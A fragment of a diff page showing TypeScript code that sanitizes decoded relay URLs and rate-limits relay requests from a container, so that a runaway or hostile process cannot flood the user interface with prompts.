decoded = new TextDecoder("utf-8", { fatal: true }).decode(bytes);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
|
||||
return sanitizeRelayUrl(decoded);
|
||||
}
|
||||
|
||||
/**
|
||||
* Throttles relay requests so a runaway (or hostile) process in the container
|
||||
* can't bury the UI in prompts.
|
||||
*
|
||||
* Two limits: a sliding window on total requests, and a short dedup window so
|
||||
* a retry loop around a single URL produces one prompt rather than twenty.
|
||||
*/
|
||||
export class RelayRateLimiter {
|
||||
private readonly maxInWindow: number;
|
||||
private readonly windowMs: number;
|
||||
private readonly dedupeMs: number;
|
||||
private timestamps: number[] = [];
|
||||
private lastUrl: string | null = null;
|
||||
private lastUrlAt = 0;
|
||||
|
||||
constructor(maxInWindow = 5, windowMs = 10_000, dedupeMs = 5_000) {
|
||||
this.maxInWindow = maxInWindow;
|
||||
this.windowMs = windowMs;
|
||||
this.dedupeMs = dedupeMs;
|
||||
}
|
||||
|
||||
/** @returns true if this request should be surfaced to the user. */
|
||||
allow(url: string, now: number = Date.now()): boolean {
|
||||
if (url === this.lastUrl && now - this.lastUrlAt < this.dedupeMs) {
|
||||
this.lastUrlAt = now;
|
||||
return false;
|
||||
}
|
||||
|
||||
this.timestamps = this.timestamps.filter((t) => now - t < this.windowMs);
|
||||
if (this.timestamps.length >= this.maxInWindow) return false;
|
||||
|
||||
this.timestamps.push(now);
|
||||
this.lastUrl = url;
|
||||
this.lastUrlAt = now;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user